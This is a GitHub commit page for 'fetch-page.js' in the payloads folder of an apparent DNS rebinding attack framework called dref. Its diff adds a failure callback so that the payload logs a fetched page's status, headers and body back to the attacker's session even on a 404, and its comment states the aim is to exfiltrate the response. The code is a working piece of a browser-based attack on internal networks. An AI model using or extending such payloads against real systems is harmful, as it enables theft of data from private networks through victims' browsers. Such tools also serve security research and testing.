Skip to content

Commit 74095bf

Browse files
author
Alexandre Kaskasoli
committed
make fetch-page exfiltrate on 404
1 parent fb555c0 commit 74095bf

File tree

1 file changed

+5
-0
lines changed

1 file changed

+5
-0
lines changed

dref/scripts/src/payloads/fetch-page.js

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,11 @@ async function mainFrame () {
1717
function rebindFrame () {
1818
session.triggerRebind().then(() => {
1919
network.get(session.baseURL + window.args.path, (code, headers, body) => {
20+
// success callback
21+
session.log({code: code, headers: headers, body: body})
22+
}, (code, headers, body) => {
23+
// fail callback
24+
// (we still want to exfiltrate the response even if it's i.e. a 404)
2025
session.log({code: code, headers: headers, body: body})
2126
})
2227
})

0 commit comments

Comments
 (0)